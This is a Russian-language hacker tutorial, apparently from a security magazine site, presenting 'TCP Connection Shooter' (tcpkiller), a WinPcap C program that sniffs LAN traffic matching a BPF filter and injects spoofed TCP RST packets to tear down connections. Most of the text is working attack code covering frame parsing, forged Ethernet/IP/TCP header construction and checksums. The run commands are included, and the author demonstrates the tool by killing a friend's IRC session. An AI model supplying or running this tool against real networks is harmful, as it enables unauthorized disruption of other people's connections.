Приветствую тебя, мой юный друг!

Сегодня мы займемся написанием простенькой
программы, реализующей основы правильного
сниффинга и спуффинга в локальных Ethernet-сетях.
Программа, которую мы с тобой рассмотрим,
занимается отловом ограниченного рамками
bpf-фильтра траффика, парсингом этого
траффика на предмет вылова TCP-соединений и
убийством этих TCP-соединений. Для особо
одаренных (типа тех, кто любит
провозглашать во мнениях, мол, "фу, она не
работает с PPP"): TCP Connection Shooter HЕ РАБОТАЕТ и HЕ
МОЖЕТ РАБОТАТЬ с диалап-соединениями, да и
вообще с любого рода соединениями
топологии "точка-точка".

Hесмотря на то, что демо-программа является
100%-функциональным и довольно удобным
инструментом, я не могу назвать её шедевром
программистского искусства -=) Впрочем,
задача весьма проста и я не стал впустую
мудрить.

За основу взят демо-сниффер к одной из
предыдущих статей. Механизм спуфинга
реализован на основе платформо-зависимого
Windows-расширения библиотеки libpcap (иными
словами, ты не сможешь скомпилировать эту
программу под UNIX), но, я думаю, тебе не
составит особого труда заменить функцию
pcap_sendpacket на какой-нибудь UNIX-эквивалент -=)

Для того, чтобы программа заработала, тебе
необходимо установить соответствующий
твоей версии Windows драйвер WinPCap
3.0a
.

АЛГОРИТМ

Алгоритм программы прост:

1) Ограничиваем сниффер bpf-фильтром, в
котором описываем нужный нам траффик. Если
ты хочешь убивать только irc-траффик какого-нибудь
хоста 192.168.0.49, то фильтр будет такого рода:

tcpkiller.exe -p -f host 192.168.0.49 and tcp port 6667

2) Парсим каждый входящий кадр данных,
выясняя, является ли этот пакет TCP'шным

3) Подготавливаем и отправляем в обратную
сторону TCP RST-сообщение, сохраняя (соответственно
rfc793) поле Sequence Number и обнуляя поле Acknowledgment
Number. Соответствующее словленному кадру
данных TCP-соединение умирает.

РЕАЛИЗАЦИЯ

1) Подробности реализации bpf-фильтрации на
основе WinPCap описаны в моих предыдущих
статьях. В tcpkiller'е, (pcap_setfilter(iface, &fcode) < 0)
применяет уже скомпилированный (из строки
вроде host 192.168.36.8 and tcp port 3128) bpf-фильтр на
устройство pcap_t *iface. 

2) Для облегчения (и осмысления :)) парсинга,
я приковал к программке небольшую пачку (выдранных
из приватной библиотеки) хидеров с
описанием полей заголовков. Приняв кадр
данных, tcp killer проверяет, является ли этот
кадр TCP'шным, попутно расставляя указатели
на распарсенный кадр.

Хендлер:

void packet_handler(u_char *param, const struct
pcap_pkthdr *header, const
u_char *pkt_data)

Парсинг:

ether = (uprotos_ether_h *)(pkt_data);

// ip?

if(ether->proto != UPROTOS_ETHER_PROTO_IPV4) {
printf(" non IPv4\n");
return;
}

ip = (uprotos_ipv4_h *)(pkt_data + 14);

// tcp?

if(ip->protocol != UPROTOS_IPV4_TCPV4) {
printf(" non TCPv4\n");
return;
}

tcp = (uprotos_tcpv4_h *)(pkt_data + 14 + (ip->header_len)*4);

if(tcp->rst==1) {
printf(" RST already\n");
return;
}

// yes, that's what we need, performing RST message calculation

Обрати внимание: TCP-шные пакеты с уже
установленным битом RST мы отбрасываем.

3) Далее мы рассчитываем RST-пакет, и спуфим
его в сеть:

// yes, that's what we need, performing RST
message calculation

printf(" of TCPv4, calculating RST...");

packetlen = 14 + (ip->header_len)*4 + (tcp->doff)*4;
memset(packet,0,packetlen + sizeof(uprotos_ipv4_pseudohdr));

// composing a packet

spoof_ether = (uprotos_ether_h *)packet;
spoof_ip = (uprotos_ipv4_h *)(packet + 14);
spoof_tcp = (uprotos_tcpv4_h *)(packet + 14 + (ip->header_len)*4);
pseudohdr = (uprotos_ipv4_pseudohdr *)(packet + 14 + (ip->header_len)*4
+ 20);

// ethernet

memcpy(spoof_ether->src,ether->dst,6);
memcpy(spoof_ether->dst,ether->src,6);

spoof_ether->proto = ether->proto;

// tcp

spoof_tcp->src = tcp->dst;
spoof_tcp->dst = tcp->src;
spoof_tcp->seq_num = tcp->ack_num;
spoof_tcp->ack_num = tcp->ack_num;
spoof_tcp->doff = 5;
spoof_tcp->rst = 1;
spoof_tcp->window = 0;
spoof_tcp->urgent = 0;

pseudohdr->src = ip->daddr;
pseudohdr->dst = ip->saddr;
pseudohdr->zero = 0;
pseudohdr->tcp_length = htons(0x1a);

spoof_tcp->checksum =
spoof_tcp->csum((u8*)spoof_tcp,20+sizeof(uprotos_ipv4_pseudohdr));

// ip

spoof_ip->header_len = ip->header_len;
spoof_ip->version = ip->version;
spoof_ip->tos = ip->tos;
spoof_ip->tot_len = htons((ip->header_len)*4 + (tcp->doff)*4);
spoof_ip->id = htons(ntohs(ip->id) + 1);
spoof_ip->frag_off = 0;
spoof_ip->ttl = ip->ttl;
spoof_ip->protocol = ip->protocol;
spoof_ip->saddr = ip->daddr;
spoof_ip->daddr = ip->saddr;

spoof_ip->checksum = csum((u8*)spoof_ip,spoof_ip->tot_len);

printf("done!\nInjecting shoot packet...");

pcap_sendpacket(iface,packet,packetlen);

printf("done!\n");

Как ты видишь, сначала заполняется
заголовок уровня EtherNet, затем заполняется
заголовок TCP с установкой бита RST. Бит ACK не
устанавливается, стало быть, удаленная
сторона должна не обращать внимание на поле
Acknowledgment Number. После этого заполняется псевдо-заголовок
(соответственно rfc793), чтобы можно было
рассчитать контрольную сумму spoof_tcp->checksum =
csum((u8*)spoof_tcp,20+sizeof(uprotos_ipv4_pseudohdr)). И лишь после
этого заполняется заголовок IP и
рассчитывается контрольная сумма
заголовка IP на всю длину IP-пакет'а.

Функция просчета контрольной суммы такова:

u16 csum (const u8 *buf, int len) {

register u32 sum;
register u16 *sumbuf = (u16 *)buf;
register u32 sumlen = (len / 2) + 1;

for(sum = 0;sumlen>0;sumlen--)
sum += *sumbuf++;

sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);

return ~sum;

}

ИСПЫТЫВАЕМ ПРОГРАММУ

Я запускаю программу: tcpkiller.exe -p -f host 192.168.36.12
and tcp port 6667

Имеется соединение моего друга Sancho
(192.168.36.12:1842) с irc-сервером (212.45.24.186:6667). Они
изредка обмениваются мессагами, лишь по
мере необходимости. Я форсирую это событие,
отправляя в канал #lan856 сообщение "die".
Санчо получает соответствующее сообщение
от сервера:

И отправляет ему подтверждение в виде ACK-пакета:

ACK
---

А моя программа посылает RSP-пакет:

SHOOT
-----

Соединение уничтожено.

Если ты всерьез хочешь пользоваться этой
программой, изучи синтаксис регулярных
выражений в man tcpdump, и ты сможешь настраивать
tcpkiller настолько гибко, насколько пожелаешь.

Удачи тебе, дружище!

Программа и исходники

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии